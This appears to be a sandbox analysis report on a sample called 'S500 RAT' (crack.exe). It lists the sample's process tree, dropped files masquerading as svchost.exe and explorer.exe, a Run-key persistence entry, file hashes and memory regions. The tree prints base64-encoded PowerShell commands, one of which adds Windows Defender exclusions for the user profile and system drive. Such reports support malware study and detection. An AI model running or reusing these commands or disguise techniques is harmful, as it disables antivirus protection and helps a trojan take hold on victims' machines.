                                                                                                                "C:\Users\Admin\Downloads\S500 RAT\S500 RAT\S500 RAT\S500 RAT\crack.exe"
                                                                                                                1⤵
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:6904
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAdAB1ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGkAZAB4ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACEAIABMAGkAYwBlAG4AcwBlACAAaABhAHMAIABlAHgAcABpAHIAZQBkAC4AIABDAG8AbgB0AGEAYwB0ACAAdQBzACAAdgBpAGEAIAB0AGUAbABlAGcAcgBhAG0AIABnAHIAbwB1AHAAIAB0AG8AIABwAHUAcgBjAGgAYQBzAGUAIAAvACAAZwBlAHQAIABmAHIAZQBlACAAdAByAGkAYQBsACAAdgBlAHIAcwBpAG8AbgAhACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBwAG0AZAAjAD4A"
                                                                                                                  2⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5420
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAdwBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAZQBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdQB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAegBlACMAPgA="
                                                                                                                  2⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:3836
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                                                                                                  2⤵
                                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:1616
                                                                                                                • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                  "C:\Users\Admin\AppData\Roaming\explorer.exe"
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:6604
                                                                                                                  • C:\Users\Admin\AppData\Roaming\explorer.exe
                                                                                                                    "C:\Users\Admin\AppData\Roaming\explorer.exe"
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:5244
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\activate.bat
                                                                                                                      4⤵
                                                                                                                        PID:5888
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /f /im "explorer.exe"
                                                                                                                          5⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4880
                                                                                                                        • C:\Users\Admin\explorer.exe
                                                                                                                          "explorer.exe"
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:5712
                                                                                                                          • C:\Users\Admin\explorer.exe
                                                                                                                            "explorer.exe"
                                                                                                                            6⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Adds Run key to start application
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:5604
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                              7⤵
                                                                                                                                PID:4304

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                    Filesize

                                                                                                                    152B

                                                                                                                    MD5

                                                                                                                    3b1e59e67b947d63336fe9c8a1a5cebc

                                                                                                                    SHA1

                                                                                                                    5dc7146555c05d8eb1c9680b1b5c98537dd19b91

                                                                                                                    SHA256

                                                                                                                    7fccd8c81f41a2684315ad9c86ef0861ecf1f2bf5d13050f760f52aef9b4a263

                                                                                                                    SHA512

                                                                                                                    2d9b8f574f7f669c109f7e0d9714b84798e07966341a0200baac01ed5939b611c7ff75bf1978fe06e37e813df277b092ba68051fae9ba997fd529962e2e5d7b0

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                    Filesize

                                                                                                                    152B

                                                                                                                    MD5

                                                                                                                    0e10a8550dceecf34b33a98b85d5fa0b

                                                                                                                    SHA1

                                                                                                                    357ed761cbff74e7f3f75cd15074b4f7f3bcdce0

                                                                                                                    SHA256

                                                                                                                    5694744f7e6c49068383af6569df880eed386f56062933708c8716f4221cac61

                                                                                                                    SHA512

                                                                                                                    fe6815e41c7643ddb7755cc542d478814f47acea5339df0b5265d9969d02c59ece6fc61150c6c75de3f4f59b052bc2a4f58a14caa3675daeb67955b4dc416d3a

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000024

                                                                                                                    Filesize

                                                                                                                    1024KB

                                                                                                                    MD5

                                                                                                                    4322f0449af173fb3994d2bef7ecb2e4

                                                                                                                    SHA1

                                                                                                                    b6ee5c6f76b8eee448f6b4b2b56fa1ec39653934

                                                                                                                    SHA256

                                                                                                                    0502e6e2f3fc54a30dea0eb07eb19a395c7ea6fc273321a49a4cc977a59b7cc9

                                                                                                                    SHA512

                                                                                                                    d8bae6131a5a8a1fcabb2d7efebc6cdbba27955fb77484a5d87dbce7a237c0cd5e19b74b4dad28312929ad732d3b80cf3d7f15f059c88438d0bc6ff9535ceeef

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                    Filesize

                                                                                                                    1KB

                                                                                                                    MD5

                                                                                                                    7194e6493ad2747898f5dad893f80f83

                                                                                                                    SHA1

                                                                                                                    53673ef5cc6cbf2c95f52c53561af2df98ec1ca8

                                                                                                                    SHA256

                                                                                                                    50f059eb82f118579272b2d8248333252955363bb8eb5e023782594bfeaa5dd0

                                                                                                                    SHA512

                                                                                                                    ca55ebb175e42d60650ce639b9d237d2e71081bd3186a09bdb09ce81c200d3109d45ec8daa44c6fd7035039c4c686b083b76a0bdc6aba4c020a074d1893c9bf8

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_prebid.a-mo.net_0.indexeddb.leveldb\CURRENT

                                                                                                                    Filesize

                                                                                                                    16B

                                                                                                                    MD5

                                                                                                                    46295cac801e5d4857d09837238a6394

                                                                                                                    SHA1

                                                                                                                    44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                                                                                    SHA256

                                                                                                                    0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                                                                                    SHA512

                                                                                                                    8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                    Filesize

                                                                                                                    14KB

                                                                                                                    MD5

                                                                                                                    ce8cf3c8ab49fc0c416ac94820ab4916

                                                                                                                    SHA1

                                                                                                                    8008482610bfb94717aafaf40ab24bee04d0b9b4

                                                                                                                    SHA256

                                                                                                                    cb57180c604213b5e4239028dab4e96ab78ac7d3d2694acbe3264a6321b3a5f6

                                                                                                                    SHA512

                                                                                                                    5ab33f0ba921489664c904c7e90ea75db139022bc95aea3512b8e803462d7c48cc3a5125734409f10435c5f73e3cc78ca0fa86b1474182c2f8b417b56f85d19d

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                    Filesize

                                                                                                                    5KB

                                                                                                                    MD5

                                                                                                                    e9c578b1c1b5a43ccf3d24ec802695df

                                                                                                                    SHA1

                                                                                                                    57a276b765d8aaff6b3c09d28e515816c1621f70

                                                                                                                    SHA256

                                                                                                                    193fbb98264f8ba47f3549d8e11f097f37995b09b926b482738e4222b92ac12a

                                                                                                                    SHA512

                                                                                                                    8f4f82aebfddb9dfbe236a45af1443d36aefb9ba33ffd7a9e61c8227456e47c72945599468d44bb8869a15ca6e54b80d039b6471dd6f943fd2d432b6481430a6

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                    Filesize

                                                                                                                    10KB

                                                                                                                    MD5

                                                                                                                    e72b5b9f93cd456131764f6c821aa8bd

                                                                                                                    SHA1

                                                                                                                    a014d2ee7717496299d5038f6eaca51b830c73e7

                                                                                                                    SHA256

                                                                                                                    8e041652d69e49c2c759def7d1d9051aba9d693e732ed0727b89924c9de484bd

                                                                                                                    SHA512

                                                                                                                    bd948ffcccd6f0f110b56d75282552bdf554e3c7f197452cd598c999e7047acfdebee58f4779fc1d71a15fad2727e8c341d8793848181998cfa9016ecbf79149

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                    Filesize

                                                                                                                    18KB

                                                                                                                    MD5

                                                                                                                    f78210101ce7b7ebc77fca102889483c

                                                                                                                    SHA1

                                                                                                                    e8a8ab4634b95840a990168ddf2a424d041425e5

                                                                                                                    SHA256

                                                                                                                    1ae3a97c4ee0b1cd8b97cc7228e770f8b5d59c8cabe5cdeac3065d4278d479a0

                                                                                                                    SHA512

                                                                                                                    f9f8a141edecedc2541f9c2fdceef64b705a3a70098c2f17c69af5971607fc8673f346e66852b22212065eb345dd641940495f3fe226edf57cc7d94b72af2eae

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                    Filesize

                                                                                                                    18KB

                                                                                                                    MD5

                                                                                                                    fef5f30fe1b54fba410ef91a7a017ab4

                                                                                                                    SHA1

                                                                                                                    62c7d232a95a7b40ad10e395da8403e915327220

                                                                                                                    SHA256

                                                                                                                    ab9d6bce034218737228023d0f6f1091ea79157e296b9557963508379b9dccb6

                                                                                                                    SHA512

                                                                                                                    2800446cf7189a78c23b5f4363bf22900045b8bef394f1222c447541cf6dd46ca5cbe5958e43960500227250bc5ce5db5080577d96e9f6f27bcad099c9485481

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                    Filesize

                                                                                                                    18KB

                                                                                                                    MD5

                                                                                                                    2e05776b5f163a10fa6f1109ed112231

                                                                                                                    SHA1

                                                                                                                    e3a9bdfc710b6a46d5b5c614a589dbe0b0fe79e6

                                                                                                                    SHA256

                                                                                                                    7d0ad4464357229df6892c7d9bd0acbb28447322e0bd64dea7e34bf0dbfddfef

                                                                                                                    SHA512

                                                                                                                    fa46860df5b4a7961f0a6c634cb19d75299407ae6ffb0a13907502e244a84b5394d8fdf00e10755a44833f177b6428d6940f7a970bb6dcdca8d4884b1973965f

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                    MD5

                                                                                                                    3df2138cb6434a325aab0d988a9e5373

                                                                                                                    SHA1

                                                                                                                    85870c7017215c04de646964e2671f614f548bb5

                                                                                                                    SHA256

                                                                                                                    44788b3cdb8fce1a0156c90f73434cc417fcb98cf34545d82dc17fe6f5843040

                                                                                                                    SHA512

                                                                                                                    807820e0b54f67acb46c169e38bb6d53c6e806139f4791a242bf6f59e6522d501c6fe63c3c589aeadf02c014e24329f33c1ed136abccbc278f4ec1549852bf60

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                    MD5

                                                                                                                    5a95222fdb9782ae8c413036d7cc155a

                                                                                                                    SHA1

                                                                                                                    42cadfaba3580b6c1af1ecbecb98aa1edd8e26c7

                                                                                                                    SHA256

                                                                                                                    992f2673dc1e66274790d269c085ad13bd754461a4f502c09b8cd1750c711c49

                                                                                                                    SHA512

                                                                                                                    cc477a9b63b25189069edbbedc8a7ed95d7c392397e426a83e05b89ed6055a71ba7db7eac46b06b5663275f27b56a069d657e045bc0a0a49acb6dc4d1bacd164

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57cc29.TMP

                                                                                                                    Filesize

                                                                                                                    1KB

                                                                                                                    MD5

                                                                                                                    403b37e5a015e522e21907a98ffac8e0

                                                                                                                    SHA1

                                                                                                                    cb135cac9dda15f697a8f5397d2994b236e2d884

                                                                                                                    SHA256

                                                                                                                    b65ff529070ebabb94b93fc21074e182e609165858089923017debb81da408e9

                                                                                                                    SHA512

                                                                                                                    0701b033ae9416a9d41761cd5382b03327ee91f2bad76d96d197d75318bb377e5e849cf5e47177c49b37fcb467702fe4e702a9b1c3c13382348436defdcf8a31

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ab21fdfa-129e-4c38-9637-3c52f9d33bb2.tmp

                                                                                                                    Filesize

                                                                                                                    3KB

                                                                                                                    MD5

                                                                                                                    1277f1e51603f6f41ebdf61ab03dd0a6

                                                                                                                    SHA1

                                                                                                                    d4d347b1b41b11d2e4aa7a67a6c6e63982a8d38f

                                                                                                                    SHA256

                                                                                                                    2292bf4a0ffe617214e7368b44b0470a819a53cd4821e206c6d5ca40018ceeaa

                                                                                                                    SHA512

                                                                                                                    31afd54f372273436341999005f5f5e001ab1f195f2ac78f4a35dad16ef919db47625299374e15265a3c530fe17bdcea4fd67e29c4e29ca1b161dfcfa297ab5d

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                                                    Filesize

                                                                                                                    16B

                                                                                                                    MD5

                                                                                                                    6752a1d65b201c13b62ea44016eb221f

                                                                                                                    SHA1

                                                                                                                    58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                                                    SHA256

                                                                                                                    0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                                                    SHA512

                                                                                                                    9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                    Filesize

                                                                                                                    11KB

                                                                                                                    MD5

                                                                                                                    7f90ebe7923b35cb1258687796069a2e

                                                                                                                    SHA1

                                                                                                                    c427b64c414d9227651a467a93594ea33a04116d

                                                                                                                    SHA256

                                                                                                                    e8555038303a25d063dee3ca242536e89c1712eb36aae105c14b9d86dc26df51

                                                                                                                    SHA512

                                                                                                                    997bb2352755a080353a5bc33834be12b1d88f479b3bfd05259209fa460a901b6adb97f0169de9a8124c3862968783894c9c4828c9474ab8d8c675a324e2cd5c

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                    Filesize

                                                                                                                    11KB

                                                                                                                    MD5

                                                                                                                    d60186b1508f394872b3cafd4a9dbe68

                                                                                                                    SHA1

                                                                                                                    73e63e5b502943443a7fccac57acfe6b5595de43

                                                                                                                    SHA256

                                                                                                                    bc432f0b4c185b17d291d25aabc1b5e4854e3677e9730c7f0de7182594bce067

                                                                                                                    SHA512

                                                                                                                    0941a6a3de156d91d535e49ad2e872d281492d5bfce8d84de401aa3f11d3e0984a5247815efa62bc33d486503bcd302d3c637e1c1a8c17e2fb0a7470c636d1ad

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\VCRUNTIME140.dll

                                                                                                                    Filesize

                                                                                                                    95KB

                                                                                                                    MD5

                                                                                                                    f34eb034aa4a9735218686590cba2e8b

                                                                                                                    SHA1

                                                                                                                    2bc20acdcb201676b77a66fa7ec6b53fa2644713

                                                                                                                    SHA256

                                                                                                                    9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1

                                                                                                                    SHA512

                                                                                                                    d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\_ctypes.pyd

                                                                                                                    Filesize

                                                                                                                    58KB

                                                                                                                    MD5

                                                                                                                    48ce90022e97f72114a95630ba43b8fb

                                                                                                                    SHA1

                                                                                                                    f2eba0434ec204d8c6ca4f01af33ef34f09b52fd

                                                                                                                    SHA256

                                                                                                                    5998de3112a710248d29df76a05272775bf08a8dbc5a051a7ecb909fef069635

                                                                                                                    SHA512

                                                                                                                    7e6c2591805136f74c413b9633d5fdc4428e6f01e0e632b278bee98170b4f418ef2afd237c09e60b0e72076924ed0e3ffb0e2453e543b5e030b263f64568fab8

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\base_library.zip

                                                                                                                    Filesize

                                                                                                                    859KB

                                                                                                                    MD5

                                                                                                                    c4989bceb9e7e83078812c9532baeea7

                                                                                                                    SHA1

                                                                                                                    aafb66ebdb5edc327d7cb6632eb80742be1ad2eb

                                                                                                                    SHA256

                                                                                                                    a0f5c7f0bac1ea9dc86d60d20f903cc42cff3f21737426d69d47909fc28b6dcd

                                                                                                                    SHA512

                                                                                                                    fb6d431d0f2c8543af8df242337797f981d108755712ec6c134d451aa777d377df085b4046970cc5ac0991922ddf1f37445a51be1a63ef46b0d80841222fb671

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\libcrypto-1_1.dll

                                                                                                                    Filesize

                                                                                                                    1.1MB

                                                                                                                    MD5

                                                                                                                    e5aecaf59c67d6dd7c7979dfb49ed3b0

                                                                                                                    SHA1

                                                                                                                    b0a292065e1b3875f015277b90d183b875451450

                                                                                                                    SHA256

                                                                                                                    9d2257d0de8172bcc8f2dba431eb91bd5b8ac5a9cbe998f1dcac0fac818800b1

                                                                                                                    SHA512

                                                                                                                    145eaa969a1a14686ab99e84841b0998cf1f726709ccd177acfb751d0db9aa70006087a13bf3693bc0b57a0295a48c631d0b80c52472c97ebe88be5c528022b4

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\libffi-7.dll

                                                                                                                    Filesize

                                                                                                                    23KB

                                                                                                                    MD5

                                                                                                                    6f818913fafe8e4df7fedc46131f201f

                                                                                                                    SHA1

                                                                                                                    bbb7ba3edbd4783f7f973d97b0b568cc69cadac5

                                                                                                                    SHA256

                                                                                                                    3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56

                                                                                                                    SHA512

                                                                                                                    5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\python310.dll

                                                                                                                    Filesize

                                                                                                                    1.4MB

                                                                                                                    MD5

                                                                                                                    3f782cf7874b03c1d20ed90d370f4329

                                                                                                                    SHA1

                                                                                                                    08a2b4a21092321de1dcad1bb2afb660b0fa7749

                                                                                                                    SHA256

                                                                                                                    2a382aff16533054e6de7d13b837a24d97ea2957805730cc7b08b75e369f58d6

                                                                                                                    SHA512

                                                                                                                    950c039eb23ed64ca8b2f0a9284ebdb6f0efe71dde5bbf0187357a66c3ab0823418edca34811650270eea967f0e541eece90132f9959d5ba5984405630a99857

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\select.pyd

                                                                                                                    Filesize

                                                                                                                    25KB

                                                                                                                    MD5

                                                                                                                    5c66bcf3cc3c364ecac7cf40ad28d8f0

                                                                                                                    SHA1

                                                                                                                    faf0848c231bf120dc9f749f726c807874d9d612

                                                                                                                    SHA256

                                                                                                                    26dada1a4730a51a0e3aa62e7abc7e6517a4dc48f02616e0b6e5291014a809cc

                                                                                                                    SHA512

                                                                                                                    034cd4c70c4e0d95d6bb3f72751c07b8b91918aabe59abf9009c60aa22600247694d6b9e232fefff78868aad20f5f5548e8740659036096fab44b65f6c4f8db6

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI66042\unicodedata.pyd

                                                                                                                    Filesize

                                                                                                                    289KB

                                                                                                                    MD5

                                                                                                                    dfa1f0cd0ad295b31cb9dda2803bbd8c

                                                                                                                    SHA1

                                                                                                                    cc68460feae2ff4e9d85a72be58c8011cb318bc2

                                                                                                                    SHA256

                                                                                                                    46a90852f6651f20b7c89e71cc63f0154f00a0e7cd543f046020d5ec9ef6cb10

                                                                                                                    SHA512

                                                                                                                    7fbdfd56e12c8f030483f4d033f1b920968ea87687e9896f418e9cf1b9e345e2be2dc8f1ea1a8afb0040a376ffb7a5dc0db27d84fb8291b50e2ed3b10c10168e

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptvj2qfy.obx.ps1

                                                                                                                    Filesize

                                                                                                                    60B

                                                                                                                    MD5

                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                    SHA1

                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                    SHA256

                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                    SHA512

                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\svchost.exe

                                                                                                                    Filesize

                                                                                                                    355KB

                                                                                                                    MD5

                                                                                                                    2ef91bf37b3da8cad6751b665bd4e6af

                                                                                                                    SHA1

                                                                                                                    5c15bbc721f91855388861d378cf9d26a140cead

                                                                                                                    SHA256

                                                                                                                    5263ecab05efc0fda51526658fdfa446f6108c009b8c2ddc9dd93ba29ea691b7

                                                                                                                    SHA512

                                                                                                                    16f1846fde3d65413d1c478b59761cb5b74c5fa4556c7234858010efc05e81e305c9054895e388e9de85f6a55d05d6ac0236ed85dcdce3b82b0a82b4986eb2a3

                                                                                                                  • C:\Users\Admin\AppData\Roaming\explorer.exe

                                                                                                                    Filesize

                                                                                                                    4.4MB

                                                                                                                    MD5

                                                                                                                    ce453607540a4b0e0c88476042d31791

                                                                                                                    SHA1

                                                                                                                    9fe09b42424e044a7c11aea2f214a3d86de8f5a1

                                                                                                                    SHA256

                                                                                                                    9a10c5b653feff9be0898a0ae18f7479e36275896bd4482f1fec237cf9ce619c

                                                                                                                    SHA512

                                                                                                                    f0fdcd4e5fdbc03d4a3bb1eee4b69c6bf2585a609f9fc56739e9320d1072a7935ce126e7dc737ad1592f64023c3a17d0e0dd659a5d3a4ee940ca2301e81912ee

                                                                                                                  • C:\Users\Admin\Downloads\S500 RAT.zip:Zone.Identifier

                                                                                                                    Filesize

                                                                                                                    26B

                                                                                                                    MD5

                                                                                                                    fbccf14d504b7b2dbcb5a5bda75bd93b

                                                                                                                    SHA1

                                                                                                                    d59fc84cdd5217c6cf74785703655f78da6b582b

                                                                                                                    SHA256

                                                                                                                    eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

                                                                                                                    SHA512

                                                                                                                    aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

                                                                                                                  • \??\pipe\LOCAL\crashpad_4072_DJRBNLFHLQIOUTRN

                                                                                                                    MD5

                                                                                                                    d41d8cd98f00b204e9800998ecf8427e

                                                                                                                    SHA1

                                                                                                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                                                    SHA256

                                                                                                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                                                    SHA512

                                                                                                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                                                  • memory/1616-542-0x0000000075C50000-0x0000000075EA2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.3MB

                                                                                                                  • memory/1616-543-0x0000000003A00000-0x0000000003E00000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/1616-540-0x00007FFD744C0000-0x00007FFD746C9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/1616-546-0x0000000000FA0000-0x000000000100D000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    436KB

                                                                                                                  • memory/1616-549-0x00007FFD744C0000-0x00007FFD746C9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/1616-537-0x0000000003A00000-0x0000000003E00000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/1616-538-0x0000000003A00000-0x0000000003E00000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/1616-536-0x0000000003A00000-0x0000000003E00000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/1616-461-0x0000000000FA0000-0x000000000100D000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    436KB

                                                                                                                  • memory/3836-608-0x0000000007CF0000-0x0000000007CF8000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3836-607-0x0000000007D00000-0x0000000007D1A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    104KB

                                                                                                                  • memory/3836-606-0x0000000007C10000-0x0000000007C25000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    84KB

                                                                                                                  • memory/3836-605-0x0000000007C00000-0x0000000007C0E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    56KB

                                                                                                                  • memory/3836-584-0x000000007F1C0000-0x000000007F1D0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/3836-602-0x0000000007BC0000-0x0000000007BD1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    68KB

                                                                                                                  • memory/3836-601-0x0000000007C40000-0x0000000007CD6000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    600KB

                                                                                                                  • memory/3836-582-0x0000000007800000-0x0000000007834000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    208KB

                                                                                                                  • memory/3836-594-0x0000000006C30000-0x0000000006C4E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    120KB

                                                                                                                  • memory/3836-600-0x0000000007A40000-0x0000000007A4A000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    40KB

                                                                                                                  • memory/3836-505-0x0000000005300000-0x0000000005310000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/3836-595-0x0000000074800000-0x0000000074FB1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/3836-503-0x0000000074800000-0x0000000074FB1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/3836-585-0x00000000709F0000-0x0000000070A3C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    304KB

                                                                                                                  • memory/3836-598-0x0000000005300000-0x0000000005310000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/3836-596-0x0000000007850000-0x00000000078F4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    656KB

                                                                                                                  • memory/3836-611-0x0000000074800000-0x0000000074FB1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/3836-494-0x0000000005190000-0x00000000051C6000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    216KB

                                                                                                                  • memory/5244-501-0x00007FFD51A20000-0x00007FFD51A44000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    144KB

                                                                                                                  • memory/5244-485-0x00007FFD50E30000-0x00007FFD51296000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.4MB

                                                                                                                  • memory/5244-508-0x00007FFD68B40000-0x00007FFD68B4F000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    60KB

                                                                                                                  • memory/5244-506-0x00007FFD63E70000-0x00007FFD63E88000-memory.dmp

                                                                                                                    Filesize

